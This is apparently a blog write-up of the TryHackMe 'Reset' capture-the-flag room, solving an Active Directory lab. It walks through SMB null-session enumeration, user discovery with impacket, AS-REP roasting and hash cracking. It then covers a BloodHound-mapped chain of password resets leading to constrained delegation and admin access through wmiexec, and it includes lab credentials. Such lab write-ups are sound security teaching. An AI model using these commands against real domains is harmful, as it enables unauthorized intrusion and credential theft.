Reset —AD — Try-Hack-Me

This Room Is About Active Directory Compromising Abusing ASREP-Roasting, ACLs, Delegations.

Enumeration

Nmap

sudo nmap -Pn -T4 -sV -sC -p- -n -sS -oN full_nmap 10.64.181.82

This looks like a Domain Controller in AD environment since there is kerberos on port 88.

SMB — Null Session

Testing If there is a SMB Null Session to see if there is interesting shares.

smbclient -L \\\\\\\\10.64.181.62\\\\ -N

There Is a Null Session and i logged in successfully to SMB Shares.

I connected to the Data folder and i saw 3 files.

There is New user mentioned That his password is ResetMe123!

And After checking The PDF from the share i found the new username they are talking about.

From Now i have username and password ⇒ LILY ONEILL : ResetMe123!

But the username is not valid so i will build a list of users by the python tool called namesh.py

Lets Check if something is valid using Kerbrute

Nothing intersting so Lets leave this user for now and move on enumerating the usernames since there is a SMB Null Session.

impacket-lookupsid anonymous@10.64.181.62 -no-pass

Now lets copy these users on a file and make them clean

grep "SidTypeUser" users.txt | cut -d '\\' -f2 | cut -d ' ' -f1 > newusers.txt

Exploitation

Once We have a valid usernames lets now try to perform ASREP-Roasting Attack on them.

impacket-GetNPUsers thm.corp/ -dc-ip 10.64.181.62 -usersfile newusers.txt -format john -outputfile crackme.txt -no-pass -request

There Is 3 Users ASREP-Roastable lets try to crack their hashes.

Pass: marlboro(1985) user: TABATHA_BRITT

Lateral Movement

Now Lets use bloodhound

Now Everything is Clean The Work flow of the attack will be as below.

Get Farouk Abbas’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

It’s all about resetting passwords, it’s funny xD

1- TABATHA_BRITT Changes SHAWNA_BRAY Password

2- SHAWNA_BRAY Changes CRUZ_HALL Password

3- CRUZ_HALL Changes DARLA_WINTERS Password

4- DARLA_WINTERS Perform ****Constrained ****Delegation on The DC.

Leading to full control on the environment.

Now Lets Connect and retrieve the flags

wmiexec.py THM.CORP/Administrator@HAYSTACK.THM.CORP -k -no-pass

Disclaimer

The content in this article is provided strictly for educational and informational purposes. All demonstrations, techniques, and examples are performed in controlled environments such as Capture the Flag (CTF) platforms, labs, or authorized challenges.

I do not encourage, condone, or promote the use of these methods for illegal, unethical, or unauthorized activities. Attempting to apply these techniques on systems without explicit permission is against the law and may result in severe consequences.

Readers are responsible for ensuring they comply with all applicable laws and regulations. The goal of these writeups is to share knowledge, improve security awareness, and foster learning within the cybersecurity community.